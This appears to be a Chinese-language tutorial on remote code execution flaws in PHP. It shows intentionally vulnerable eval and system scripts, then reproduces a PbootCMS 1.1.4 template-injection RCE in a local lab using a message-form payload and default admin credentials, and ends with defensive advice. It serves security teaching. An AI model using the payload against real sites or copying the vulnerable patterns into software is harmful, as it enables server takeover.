RCE漏洞
一、RCE概念
1、什么是RCE漏洞?
RCE(Remote Code/Command Execution)是远程代码执⾏和远程命令执⾏的漏洞。在很多Web应⽤中,开发⼈员会使⽤⼀些函数,这些函数以⼀些字符串作为输⼊,功能是将输⼊的字符串当作代码或者命令来进⾏执⾏。当⽤户可以控制这些函数的输⼊时,就产⽣了RCE漏洞。
2、危害性
RCE漏洞是⾮常严重的安全漏洞,⼀旦出现,就意味着攻击者可以获取服务器的命令执⾏权限,从⽽对服务器安全造成极⼤的影响。
二、运行环境
| 名称 | 值 |
|---|---|
| 操作系统 | Windows 10 |
| 中间件 | phpStudy 2018 |
| PHP版本 | 5.4.45 |
| Apache | 2.4 |

三、远程代码执行案例
1、eval函数
(1)新建rce_1.php文件
bash
<?php
$code=$_GET['x'];
eval($code);
?>
(2)访问地址
bash
http://127.0.0.1/rce_1.php?x=phpinfo();

bash
http://127.0.0.1/rce_1.php?x=echo 'This is an echo print output!';

2、system函数
(1)新建rce_2.php文件
bash
<?php
$code=$_GET['x'];
echo system($code);
?>
(2)访问地址
bash
http://127.0.0.1/rce_2.php?x=ipconfig

bash
http://127.0.0.1/rce_2.php?x=dir

bash
http://127.0.0.1/rce_2.php?x=tasklist

bash
http://127.0.0.1/rce_2.php?x=systeminfo
四、PbootCMS-1.1.4靶场实践
1、靶场环境配置
(1)部署地址
bash
D:\phpStudy\PHPTutorial\WWW\pboot
(2)访问地址
bash
http://127.0.0.1/pboot

2、漏洞复现
Step1:访问地址
bash
http://127.0.0.1/pboot/index.php/about/10.html

Step2:留言输⼊框 "内 容" 中填入如下的东西后,单击"提交"。
bash
AboutController:{pboot:if(eval($_POST[1]))}!!!{/pboot:if}

提交成功后会显示"提交成功"

Step3:登录后台
bash
账户:admin
密码:123456

Step4:在 "在线留言" 页面中注入恶意语句

3、分析"漏洞复现"为何能成功注入
Step1:所访问的 "在线留言" 中含有的访问地址已得知。
bash
http://127.0.0.1/pboot/index.php/about/10.html
Step2:现查阅 "在线留言" 的源码,位置如下:
bash
D:\phpStudy\PHPTutorial\WWW\pboot\apps\home\controller\AboutController.php
Step3:从图片看到ParserController.php中存在了一个eval函数,且AboutController.php(即"在线留言"页面)调用了ParserController.php模块。

五、RCE漏洞防御
- 在进入执行命令函数前,需做严格的检测和过滤;
- 命令执行函数(不能完全控制的危险函数)尽量不用,如果必须使用,则一定要加上验证,以防他人利用。
- 必须保证用户不能轻易接触eval的参数,如果一定需要用该函数,需严格判断输入的数据是否含有危险变量。